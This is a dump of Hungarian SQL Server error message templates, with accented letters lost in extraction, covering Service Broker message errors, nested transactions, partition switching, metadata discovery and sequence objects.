pSrlt zenet rkezett. A kulcscsere kulcsazonostja rvnytelen. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A titkostott munkamenetkulcs mrete %1!s!, azonban %2!s! bjtnak kell lennie. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A munkamenetkulcs azonostjnak mrete %1!s!, azonban %2!s! bjtnak kell lennie. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A vdQrtk mrete %1!s!, azonban %2!s! bjtnak kell lennie. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. Egy UNICODE karakterlnc nem kt bjthoz illesztett az zenetben. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. Egy UNICODE karakterlnc nagyobb, mint az engedlyezett maximlis mret (%1!s! bjt). Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %2!s! , kezdemnyezQ: %3!s!, zenetsorszm: %4!s!.

tSrlt zenet rkezett. A beszlgetsazonost nem lehet NULL rtkq. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. Az zenetazonost nem lehet NULL rtkq.

Srlt zenet rkezett. Az zenettrzs nincs megfelelQen feltltve a titkostshoz. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

dSrlt zenet rkezett. Egy sorszm nagyobb a megengedettnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A  beszlgets vge  s a  hiba  jelzQ egyarnt be van lltva. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A  beszlgets vge  jelzQ egy sorrendi bellts nlkli zenethez lett belltva. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A  beszlgets vge  s a  hiba  jelzQ nem llthat be a sorrendben szereplQ elsQ zenetben. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

pSrlt zenet rkezett. Az zenettpus hinyzik ebbQl az zenetbQl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. Az zenettpus nem llthat be ebben az zenetben. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Nem lehet feldolgozni egy %1!s! bjt mretq csomagot, mert tllpte a fogadsi pufferszmot.

Srlt zenet rkezett. Az zenetfejlc titkos rsze rosszul van megformzva.

Az zenet el lett dobva a licenckorltozsok miatt. Tovbbi tjkoztatst a dokumentciban tall.

Ez a tovbbtott zenet el lett dobva, mert a rendszer elrte a htralvQ ugrsok szmt: 0.

Ez a tovbbtott zenet el lett dobva, mert elfogyott az SQL Server-pldny memrija.

Ez a tovbbtott zenet el lett dobva, mert egy msolata mr tovbbtva van.

,Ez a tovbbtott zenet el lett dobva, mert a memriahasznlata meghaladn a tovbbtott zenetekhez belltott %1!s! bjtos memriakorltozst.

Ez a tovbbtott zenet el lett dobva, mert nem lehetett kzbesteni az zenet lettartamnak idejn bell. Ez arra utalhat, hogy helytelenl van belltva a tovbbtsi tvonal, vagy nem rhetQ el a cl.

Ez a tovbbtott zenet el lett dobva, mert a felhasznlt idQ meghaladta az zenet lettartamnak %1!s! msodperces idejt (az zenet %2!s! msodperc eltelte utn rkezett, s %3!s! msodpercet hasznlt fel ebben az tvitelszervezQben).

(Ez a tovbbtott zenet el lett dobva, mert tviteli hiba trtnt az zenet kldse kzben. EllenQrizze a hibhoz kapcsold elQzQ esemnyeket.

Ez a tovbbtott zenet el lett dobva, mert az tvitel lellt.

Ez a tovbbtott zenet el lett dobva, mert a clknt megadott tvonal rvnytelen.

Srlt zenet rkezett. A titkos vltoz adatszegmensnek eltolsa helytelen.

Srlt zenet rkezett. A nyilvnos vltoz adatszegmensnek eltolsa helytelen.

E tranzakci elQrehaladsa nem engedlyezett. A tranzakci vissza lett lltva.

Ezt a mqveletet egy prhuzamos begyazott tranzakcin bell kell vgrehajtani.

A(z) %1!s! trolt eljrst felhasznli tranzakcin bell kell vgrehajtani.

A PNT-gyermektranzakcihoz megadott elklntsi szint nem egyezik a szlQ aktulis elklntsi szintjvel.

A kvetkezQ utasts nem hasznlhat prhuzamos begyazott tranzakcin bell: %1!s!.

Mdostsokkal rendelkezQ prhuzamos terv nem tmogatott prhuzamos begyazott tranzakcin bell.

A(z)  %1!s!  trolt eljrs nem hajthat vgre MARS-kapcsolaton keresztl.

Kttt munkamenetek s felhasznli prhuzamos begyazott tranzakcik nem hasznlhatk ugyanabban a tranzakciban.

Nem hozhat ltre felhasznli prhuzamos begyazott tranzakci, elrte a prhuzamos begyazott tranzakcik maximlis szmt.

|Ez a mqvelet nem hajthat vgre aktv tranzakcin bell.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %2!s!  indexelt nzet  %1!s!  indexe a(z)  %3!s!  partcis fggvnyt hasznlja, de a(z)  %4!s!  tbla a nem ekvivalens  %5!s!  partcis fggvnyt hasznlja. A(z)  %6!s!  indexelt nzet s a(z)  %7!s!  tbla indexnek ekvivalens partcis fggvnyt kell hasznlnia.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %1!s!  tbla %2!s!, de a(z)  %4!s!  indexelt nzet  %3!s!  indexe %5!s!.

hAz ALTER TABLE SWITCH utasts vgrehajtsa sikertelen. A(z)  %1!s!  cltblra %2!s! indexelt nzet hivatkozik, de a(z)  %3!s!  forrstblra csak %4!s! indexelt nzet hivatkozik. A cltbla mindegyik indexelt nzethez tartoznia kell legalbb egy megfelelQ, a forrstblrl kszlt indexelt nzetnek.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %1!s!  indexelt nzet nem illeszkedik a(z)  %2!s!  tblhoz. Az indexelt nzet  %3!s!  particionl oszlopa egy vagy tbb oszlopbl vagy egy kifejezsbQl szmtja ki az rtkt ahelyett, hogy kzvetlenl kivlasztan azt a tblaparticionl  %4!s!  oszlopbl. Mdostsa gy az indexelt nzet defincijt, hogy a particionl oszlop kzvetlenl legyen kivlasztva a tblaparticionl  %5!s!  oszlopbl.

|Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen. A(z)  %1!s!  cltblra %2!s! indexelt nzet hivatkozik, de a(z)  %3!s!  forrstblra csak %4!s! megfelelQ indexelt nzet hivatkozik. A cltbla mindegyik indexelt nzethez tartoznia kell legalbb egy megfelelQ, a forrstblrl kszlt indexelt nzetnek.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %1!s!  tbla nem illeszkedik a(z)  %3!s!  indexelt nzet  %2!s!  indexhez. A tbla particionlsa a(z)  %4!s!  oszlop alapjn trtnik, de az indexelt nzet indexnek particionlsa a(z)  %5!s!  oszlop alapjn trtnik, amely a(z)  %7!s!  tbla msik oszlopbl ( %6!s! ) van kivlasztva. Mdostsa gy az indexelt nzet defincijt, hogy a particionl oszlop azonos legyen a tbla particionl oszlopval.

Nem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa. A forrs- s a clpartcinl klnbzQ rtkq a DATA_COMPRESSION bellts.

lA vardecimal trolsi formtum nem engedlyezhetQ a(z)  %1!s!  esetben. Csak az SQL Server Enterprise kiadsa tmogatja a vardecimal (vltoz hosszsg decimlis) formtumot.

TA(z)  %2!s!  tbla  %1!s!  oszlopa nem mdosthat a COLUMN_SET attribtum hozzadsval vagy eltvoltsval. Az oszlop COLUMN_SET attribtumnak megvltoztatshoz mdostsa a tblt az oszlop eltvoltsval, majd vegye fel jbl az oszlopot, vagy dobja el, majd hozza ltre jbl a tblt.

<A(z)  %2!s!  tbla  %1!s!  oszlopa nem tvolthat el, mert a tbla 1025-nl tbb oszlopot tartalmaz. Cskkentse az oszlopok szmt 1025-nl kevesebbre.

A(z)  %2!s!  tbla  %1!s!  oszlopa nem mdosthat ritka oszlopra, mert az oszlophoz alaprtk vagy szably van ktve. Szntesse meg a szably vagy az alaprtk ktst, mielQtt ritka oszlopknt jelln meg az oszlopot.

A(z)  %1!s!  ritka oszlop nem vehetQ fel a(z)  %2!s!  tblba, mert az oszlop adattpushoz alaprtk vagy szably van ktve. Szntesse meg a szably vagy az alaprtk ktst, mielQtt felvenn a ritka oszlopot a tblba.

lNem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa, mert a(z)  %1!s!  oszlop nem rendelkezik azonos ritka trolsi attribtummal a kvetkezQ tblkban:  %2!s!  s  %3!s! .

lNem sikerlt az ALTER TABLE SWITCH utasts vgrehajtsa, mert a(z)  %1!s!  oszlop nem rendelkezik azonos oszlopkszlet-tulajdonsggal a kvetkezQ tblkban:  %2!s!  s  %3!s! .

A(z)  %1!s!  objektum nem tilthat le vagy nem engedlyezhetQ. Ez a mqvelet csak a klsQ kulcsra s a korltozs-ellenQrzsre vonatkozik.

pA(z) %1!s! mqvelete nem hajthat vgre a(z)  %2!s!  tblban, mert a tbla olyan ritka oszlopokat vagy oszlopkszletbeli oszlopot tartalmaz, amely nem kompatibilis a tmrtssel.

Nem lehet megvltoztatni vagy eldobni a(z)  %1!s!  oszlopot, mert a kvetkezQ tbla az alapjn van sszevonva:  %2!s! .

xA kteg elemzse fordtsi hibk miatt sikertelen volt.

A kvetkezQ paramter tpusa nem kvetkeztethetQ ki ebben a krnyezetben:  %1!s! .

8A paramter tpusa nem kvetkeztethetQ ki, mert egyetlen kifejezs a kvetkezQ kt tpusmegads nlkli paramtert is tartalmazza:  %1!s!  s  %2!s! .

A felfedezett tpus  amelynek felhasznli tpusazonostja %1!s! a(z) %2!s! adatbzisban  rvnytelen.

A felfedezett tpus  amelynek XML-smagyqjtemny-azonostja %1!s! a(z) %2!s! adatbzisban  rvnytelen.

A(z)  %1!s!  paramtertpusa nem kvetkeztethetQ ki egyrtelmqen, a kt lehetQsg  %2!s!  s  %3!s! .

A(z)  %1!s!  paramtertpusa nem kvetkeztethetQ ki, mert a lekrdezs egyetlen tpus esetn sem lenne rvnyes.

A nem deklarlt  %1!s!  paramtert egynl tbbszr hasznljk az ppen elemzs alatt ll ktegben.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts nem kompatibilis a kvetkezQ utastssal:  %2!s! .

8A metaadatok megllaptsa sikertelen volt, mert a fQ ktegben levQ  %1!s!  utasts nem kompatibilis a(z)  %3!s!  eljrsban levQ  %2!s!  utastssal.

8A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts nem kompatibilis a fQ ktegben levQ  %3!s!  utastssal.

LA metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts nem kompatibilis a(z)  %4!s!  eljrsban levQ  %3!s!  utastssal.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts dinamikus SQL-kdot tartalmaz. Fontolja meg a WITH RESULT SETS zradk hasznlatt az eredmnyhalmaz explicit lersra.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts dinamikus SQL-kdot tartalmaz. Fontolja meg a WITH RESULT SETS zradk hasznlatt az eredmnyhalmaz explicit lersra.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts egy CLR-beli eljrst hv meg. Fontolja meg a WITH RESULT SETS zradk hasznlatt az eredmnyhalmaz explicit lersra.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts egy CLR-beli eljrst hv meg. Fontolja meg a WITH RESULT SETS zradk hasznlatt az eredmnyhalmaz explicit lersra.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts egy CLR-beli esemnyindtt hv meg.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts egy CLR-beli esemnyindtt hv meg.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts egy bQvtett trolt eljrst hv meg.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts egy bQvtett trolt eljrst hv meg.

TA metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts egy nem deklarlt paramtert hasznl egy olyan krnyezetben, amely befolysolja a metaadatait.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts egy nem deklarlt paramtert hasznl egy olyan krnyezetben, amely befolysolja a metaadatait.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts kzvetett rekurzit okoz.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts kzvetett rekurzit okoz.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts egy ideiglenes tblt hasznl.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts egy ideiglenes tblt hasznl.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %1!s!  utasts nem tmogatja a metaadatok szlelst.

A metaadatok megllaptsa sikertelen volt, mert a(z)  %2!s!  eljrsban levQ  %1!s!  utasts nem tmogatja a metaadatok szlelst.

@A metaadatok megllaptsa sikertelen volt, mert a kdhoz tartoz mindegyik elrsi t hibt eredmnyez, ezek nmelyike a korbbi hibazenetekben lthat.

A metaadatok megllaptsa sikertelen volt, mert nincs olyan, kdhoz tartoz elrsi t, amely elri a kteg vgt.

dA sys.dm_exec_describe_first_result_set_for_object nzetnek tadott  %1!s!  objektumazonost olyan objektumra hivatkozik, amely nem T-SQL nyelvq eljrs vagy esemnyindt.

A sys.dm_exec_describe_first_result_set_for_object nzetnek tadott  %1!s!  objektumazonost rvnytelen volt.

A kvetkezQ tpus nem rvnyes objektumnv az eredmnyhalmaz defincijhoz:  %1!s! .

A kvetkezQ tpus rvnytelen, vagy nem tblatpus:  %1!s! .

Az EXECUTE utasts vgrehajtsa sikertelen volt, mert az utasts WITH RESULT SETS zradka %1!s! eredmnyhalmazt adott meg, de az utasts ennl tbb eredmnyhalmazt prblt elkldeni.

Az EXECUTE utasts vgrehajtsa sikertelen volt, mert az utasts WITH RESULT SETS zradka %1!s! eredmnyhalmazt adott meg, de az utasts csak %2!s! eredmnyhalmazt kldtt el futsi idQben.

Az EXECUTE utasts vgrehajtsa sikertelen volt, mert az utasts WITH RESULT SETS zradka %1!s! oszlopot adott meg a(z) %2!s!. eredmnyhalmazhoz, de az utasts %3!s! oszlopot kldtt el futsi idQben.

,Az EXECUTE utasts vgrehajtsa sikertelen volt, mert az utasts WITH RESULT SETS zradka a(z)  %1!s!  tpust adta meg a(z) %3!s!. eredmnyhalmazban levQ %2!s!. oszlophoz, de a futsi idQben elkldtt megfelelQ tpus  %4!s!  volt, s a kt tpus kztt nincs konverzi.

,A WITH RESULT SETS zradkban megadott tpusok egyikt mdostottk az EXECUTE utasts futsnak megkezdQdse utn. Futtassa jra az utastst.

$Az sp_describe_first_result_set trolt eljrs nem hvhat meg, ha meg van adva a SET STATISTICS XML vagy a SET STATISTICS PROFILE bellts.

Az sp_describe_undeclared_parameters trolt eljrs nem tudta szlelni a paramterek metaadatait a tvoli eljrshvshoz, mert a paramterek nv szerint lettek tadva, s a paramterek metaadatainak nv szerinti szlelse sikertelen volt.

A SET STATISTICS XML ON s a SET STATISTICS PROFILE ON utasts hasznlata nem engedlyezett olyan eljrsban vagy ktegben, amelynek vgrehajtsa WITH RESULT SETS zradkkal rendelkezQ EXECUTE utastssal trtnik.

Nem sikerlt kikvetkeztetni a(z)  %2!s!  modul tvoli hvsban a(z)  %1!s!  pozciban levQ paramter tpust.

A tvoli eredmnyhalmaz szlelse nem vgezhetQ el egy SELECT INTO utastsban.

Az sp_showmemo_xml trolt eljrs nem futtathat, ha be van kapcsolva a STATISTICS XML, a STATISTICS PROFILE vagy a SHOWPLAN bellts. lltsa t ezeket a belltsokat OFF llsba, majd futtassa jbl az sp_showmemo_xml trolt eljrst.

LCsak egy utasts hasznlhat az sp_showmemo_xml trolt eljrs bemeneti paramtereknt. Mdostsa a bemeneti paramtert, majd futtassa jbl a trolt eljrst.

Az  sp_showmemo_xml  trolt eljrs nem rhetQ el az SQL Server jelen kiadsban.

A trolt eljrsok hasznlata nem tmogatott. Mdostsa a bemeneti paramtert, majd futtassa jbl az sp_showmemo_xml trolt eljrst.

A metaadatok megllaptsa sikertelen volt, mert a metaadatok tvoli szlelse sikertelen volt a kvetkezQ utastsnl:  %1!s! .

DA metaadatok megllaptsa sikertelen volt, mert a metaadatok tvoli szlelse sikertelen volt a kvetkezQ eljrsban szereplQ  %1!s!  utastsnl:  %2!s! .

Az @browse_information_mode paramter tinyint tpust vr 0, 1 vagy 2 rtkkel.

Az EXECUTE utasts vgrehajtsa sikertelen volt, mert az utasts WITH RESULT SETS zradka nem nullzhat tpust adott meg a(z) #%2!s! eredmnykszletben szereplQ #%1!s! oszlophoz, s a futsi idQben kldtt megfelelQ rtk null volt.

A(z) %1!s! utastsok nem engedlyezettek  %2!s!  kapcsolval.

A(z) %1!s! utastsok a legfelsQ szinten nem engedlyezettek.

A kvetkezQk a legfelsQ szinten nem engedlyezettek: %1!s!.

A kiszolglnv megadsa a kvetkezQben nem engedlyezett:  %1!s! .

Az adatbzisnv megadsa a kvetkezQhz egy %2!s! utastsban nem engedlyezett:  %1!s! .

Az ideiglenes trolt eljrsok ltrehozsa nem engedlyezett.

tBelsQ hiba trtnt a projekt elksztse sorn. %1!s!

dNincs elg memria a projekt elksztshez.

A smaelemek megadsa a CREATE SCHEMA utastsban nem tmogatott.

Tbb utasts szerepeltetse egy T-SQL ktegben a legfelsQ szinten nem engedlyezett.

hA szmozott trolt eljrsok nem tmogatottak.

PA kvetkezQ nem tmogatott: %1!s!.

Ismeretlen hiba trtnt a kvetkezQ betltsre irnyul ksrlet sorn:  %1!s! .

Az oszlopszintq engedlyek s egyb engedlyek kombincija nem adhat meg ugyanabban a GRANT/DENY/REVOKE utastsban.

xNincs elegendQ veremterlet az utasts lefordtshoz.

A REVOKE utasts csak oszlopszintq engedlyek visszavonsra hasznlhat.

CREATE ASSEMBLY csak konstans binris kifejezsbQl a FROM hasznlatval hozhat ltre.

Az ALTER TABLE utastsok csak egyetlen megkts hozzadsra hasznlhatk.

Az ALTER ROLE utasts csak egy tagnak egy szerepkrbe val felvtelre hasznlhat.

A kvetkezQ elem srlt, nem olvashat, vagy nem rhetQ el:  %1!s! .

A kvetkezQ sorozatobjektum nvekmnye nem lehet nulla:  %1!s! .

(A(z)  %1!s!  sorozatobjektum nvekmnynek abszolt rtke nem lehet nagyobb a sorozatobjektum legnagyobb s legkisebb rtknek klnbsgnl.

A(z)  %1!s!  sorozatobjektum adattpusa csak int, bigint, smallint, tinyint vagy 0 sklj tizedes vagy ms numerikus tpus lehet, illetve brmely olyan felhasznl ltal definilt adattpus, amely a fenti egsz adattpusok egyikn alapul.

A(z)  %1!s!  sorozatobjektum kezdQrtknek a sorozatobjektum legkisebb s legnagyobb rtke kz kell esnie.

A(z)  %2!s!  sorozatobjektum aktulis  %1!s!  rtknek a sorozatobjektum legkisebb s legnagyobb rtke kz kell esnie.

A(z)  %1!s!  sorozatobjektum legkisebb rtknek kisebbnek kell lennie a sorozat legnagyobb rtknl.

A(z)  %1!s!  sorozatobjektumhoz tartoz gyorsttr mretnek 0-nl nagyobbnak kell lennie.

A megadott adattpus szmra rvnytelen rtket adtak meg a kvetkezQ argumentumhoz:  %1!s! .

A  RESTART WITH  argumentum nem hasznlhat CREATE SEQUENCE utastsban.

A  START WITH  argumentum nem hasznlhat ALTER SEQUENCE utastsban.

Az  AS  argumentum nem hasznlhat ALTER SEQUENCE utastsban.

A kvetkezQ argumentum nem adhat meg egynl tbbszr:  %1!s! .

Hrvnytelen sorozatnv:  %1!s! 

Nincsenek megadva tulajdonsgok az ALTER SEQUENCE utastshoz.

A NEXT VALUE FOR fggvny nem tmogatja a PARTITION BY zradk hasznlatt.

0A NEXT VALUE FOR fggvny nem tmogatja az OVER zradk hasznlatt alaprtelmezett korltozsokban, UPDATE utastsokban vagy MERGE utastsokban.

A NEXT VALUE FOR fggvny nem tmogatja res OVER zradk hasznlatt.

A NEXT VALUE FOR fggvny hasznlata nem engedlyezett ellenQrzsi korltozsokban, alaprtelmezett objektumokban, szmtott oszlopokban, nzetekben, felhasznl ltal definilt fggvnyekben, felhasznl ltal definilt sszestsekben, felhasznl ltal definilt tblatpusokban, segdlekrdezsekben, kzs tblakifejezsekben vagy szrmaztatott tblkban.

A NEXT VALUE FOR fggvny hasznlata nem engedlyezett TOP, OVER, OUTPUT, ON, WHERE, GROUP BY, HAVING vagy ORDER BY zradkban.

LA NEXT VALUE FOR fggvny nem hasznlhat kzvetlenl olyan utastsban, amely a DISTINCT, a UNION, a UNION ALL, az EXCEPT vagy az INTERSECT opertort hasznlja.

hA NEXT VALUE FOR fggvny hasznlata nem engedlyezett egyestsi utasts WHEN MATCHED zradkban, WHEN NOT MATCHED zradkban vagy WHEN NOT MATCHED BY SOURCE zradkban.

4A NEXT VALUE FOR fggvny nem hasznlhat kzvetlenl olyan utastsban, amely ORDER BY zradkot tartalmaz, kivve ha meg van adva az OVER zradk.

Egy NEXT VALUE FOR fggvnyt tartalmaz kifejezs nem adhat t argumentumknt egy tblzat rtkq fggvnynek.

Egy NEXT VALUE FOR fggvnyt tartalmaz kifejezs nem adhat t argumentumknt egy sszestsnek.

pA kvetkezQ objektum nem sorozatobjektum:  %1!s! .

Egy adott sorozatobjektumhoz tartoz NEXT VALUE FOR fggvnyekhez pontosan ugyanazt az OVER zradkdefincit kell megadni.

$A kvetkezQ sorozatobjektum elrte a legkisebb vagy a legnagyobb rtkt:  %1!s! . j rtkek generlshoz indtsa jra a sorozatobjektumot.

Az adatbzisnv nem adhat meg az alaprtelmezett korltozsokban szereplQ sorozatobjektumhoz.

Szerepelnie kell a closzlopok listjn egy olyan oszlopnak, amely az alaprtelmezett korltozsban levQ sorozatobjektumot hasznl, ha ugyanaz a sorozatobjektum megjelenik egy sorkonstruktorban.

XA kvetkezQ sorozatobjektumhoz krt tartomny meghaladja a maximumra vagy a minimumra vonatkoz korltot:  %1!s! . Prblja meg jbl egy kisebb tartomny megadsval.

A kvetkezQ paramternek pozitv egsz szmnak kell lennie:  %1!s! .

0A NEXT VALUE FOR fggvny nem szerepelhet a SELECT zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

Az INSERT utasts cloldali tbljhoz nem tartozhat a NEXT VALUE FOR fggvnyt hasznl DEFAULT megkts, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

 A NEXT VALUE FOR fggvnynek csak egy pldnya engedlyezett sorozatobjektumonknt egy vltoz-hozzrendelses SET vagy SELECT utastsban.

A NEXT VALUE FOR fggvny nem tmogatja a ROWS s a RANGE zradk hasznlatt.

A NEXT VALUE FOR fggvny hasznlata ebben a krnyezetben nem engedlyezett.

4A NEXT VALUE FOR fggvny nem hasznlhat, ha meg van adva a ROWCOUNT bellts, illetve ha a lekrdezs tartalmazza a TOP vagy az OFFSET opertort. 

pA NEXT VALUE FOR fggvny nem hasznlhat alaprtelmezett korltozsban, ha meg van adva a ROWCOUNT bellts, illetve ha a lekrdezs tartalmazza a TOP vagy az OFFSET opertort.

A NEXT VALUE FOR fggvny nem hasznlhat CASE, CHOOSE, COALESCE, IIF, ISNULL s NULLIF utastson bell.

XA NEXT VALUE FOR fggvny csak akkor hasznlhat a MERGE utastssal, ha a beszrsi mqveletek cltblzatra vonatkoz alaprtelmezett korltozsban van definilva. 

 A RESTORE WITH SNAPSHOTRESTOREPHASE=2 utasts vgrehajtsa sikertelen volt a(z)  %1!s!  adatbzisra, mert egy korbbi RESTORE WITH SNAPSHOTRESTOREPHASE=1 utasts vgrehajtsa hlzati hiba miatt meghisulhatott. Prblja jbl elvgezni a visszalltsi mqveletet az SQL Writer hasznlatval, miutn elhrtotta az esetleges hlzati problmkat, s meggyQzQdtt arrl, hogy az SQL Server fut.

A(z)  %1!s!.%2!s!  oszlop sszevont oszlop, de a(z)  %5!s!  klsQ kulcsban szereplQ, r hivatkoz  %3!s!.%4!s!  oszlop nem az.

Az sszevonsi sma  %1!s!  kulcsa nem rsze ennek az sszevonsnak.

A(z)  %3!s!  tbla  %2!s!  oszlopnak krt  %1!s!  indext nem lehetett ltrehozni, mert az oszloptpus nem %4!s!. Adjon meg olyan oszlopnevet, amely %5!s! adattpus oszlopra hivatkozik.

,Nem tallhat a(z)  %1!s!  trbeli tesszellcis sma egy %2!s! tpus oszlophoz. Adjon meg rvnyes nevq tesszellcis smt a USING zradkban.

Nem tallhat a(z)  %2!s!  tbla  %1!s!  oszlopnak alaprtelmezett trbeli tesszellcis smja. EllenQrizze, hogy helyes-e az oszlophivatkozs, vagy adja meg a kiterjesztssmt egy USING zradk hasznlatval.

<Helytelen paramterek lettek tadva a CREATE %1!s! utastsnak a(z)  %2!s!  kzelben. rvnyestse az utastst az index-ltrehozsi szintaxis alapjn.

IsmtlQdQ paramterek lettek tadva az index-ltrehozsi utastsnak. rvnyestse az utastst az index-ltrehozsi szintaxis alapjn.

A CREATE %1!s! utastsbl hinyzik a ktelezQ  %2!s!  paramter. rvnyestse az utastst az index-ltrehozsi szintaxis alapjn.

A(z)  %1!s!  tblnak nincs frtztt elsQdleges kulcsa, de a(z) %2!s! index ignyli ezt. %3!s! index ltrehozsa elQtt gyQzQdjn meg arrl, hogy a tbla tartalmazza az elsQdleges kulcs oszlopt.

\Nem tallhat a(z) %1!s!  %2!s!  indexe a(z)  %3!s!  tblban. Nincs ilyen nevq %4!s! index, vagy egy %5!s! index hasznlja ugyanezt a nevet. Helyesbtse az indexnevet, gyelve arra, hogy ne legyenek ismtlQdQ nevek. Ha egy relcis indexnek ugyanez a neve, dobja el a szablyos relcis indexet.

Tblnknt csak egy trbeli indexmutat hasznlhat, az elsQ vagy az utols mutatknt hasznlt indexknt.

A CREATE %2!s! utastshoz tartoz  %1!s!  paramter rtknek kisebbnek kell lennie, mint %3!s!.

A CREATE %2!s! utastshoz tartoz  %1!s!  paramter rtknek nagyobbnak kell lennie, mint %3!s!.

A CREATE %2!s! utastshoz tartoz  %1!s!  paramter rtknek nagyobbnak kell lennie a(z)  %3!s!  paramter rtknl.

 A CREATE %2!s! utasts  %1!s!  paramtere nincs megfelelQen definilva. Ha a paramter tbb rszbQl ll, mindegyik rszt definilni kell.

A CREATE %2!s! utastsban tallhat %1!s! indexbelltsnak az ltalnos indexbelltsok elQtt kell szerepelnie.

 %1!s! index ltrehozshoz az szksges, hogy az alaptbla elsQdleges kulcsa megfeleljen a kvetkezQ korltozsoknak. Az elsQdlegeskulcs-oszlopok maximlis szma %2!s!. Az elsQdlegeskulcs-oszlopok maximlis egyestett soronknti mrete %3!s! bjt. A(z)  %4!s!  alaptbla %5!s! oszlopbl ll, s %6!s! bjtot tartalmaz. Mdostsa gy az alaptblt, hogy az megfeleljen a(z) %7!s! index ltal az elsQdleges kulcsra vonatkozan elQrt korltozsoknak.

Nem tilthat le a vltozskvets a(z)  %1!s!  adatbzisban, amg gyflkapcsolatok vrakoznak a vltozsi rtestsekre. A vltozskvets letiltsa elQtt zrja be ezeket a kapcsolatokat.

Az ALTER DATABASE CURRENT utasts vgrehajtsa sikertelen volt, mert a kvetkezQ egy rendszeradatbzis:  %1!s! . A rendszeradatbzisok nem mdosthatk a CURRENT kulcssz hasznlatval. Egy rendszeradatbzis mdostshoz hasznlja az adatbzisnevet.

,A(z)  %1!s!  nevq ideiglenes tblra mutat hivatkozs nem egyrtelmq, s nem oldhat fel. Hasznlja a kvetkezQk egyikt:  %2!s!  vagy  %3!s! .

A(z)  %1!s!  nevq kurzorra mutat hivatkozs nem egyrtelmq, s nem oldhat fel. Lehetsges alternatvk:  %2!s!  s  %3!s! .

A tartalmazs nem engedlyezhetQ a kvetkezQ adatbzisra, mert az egy rendszeradatbzis:  %1!s! .

A kvetkezQ funkci vagy kapcsol megsrti a tartalmazsi viszonyokat egy tartalmazott adatbzisban:  %1!s! . A tartalmazott adatbzisokrl az online knyvek  A tartalmazott adatbzisok ttekintse  cmq tmakrben olvashat bQvebben.

A kvetkezQ indexnv tl hossz:  %1!s! . Az ideiglenes tbla indexnek neve legfeljebb %2!s! karakter hossz lehet.

A kvetkezQ kapcsol nem adhat meg egy nem tartalmazott adatbzisra:  %1!s! .

A kvetkezQ kapcsol nem adhat meg egy adatbzisra, ha a tartalmazs belltsa NONE:  %1!s! .

pA kvetkezQ kapcsol tbbszr van megadva:  %1!s! .

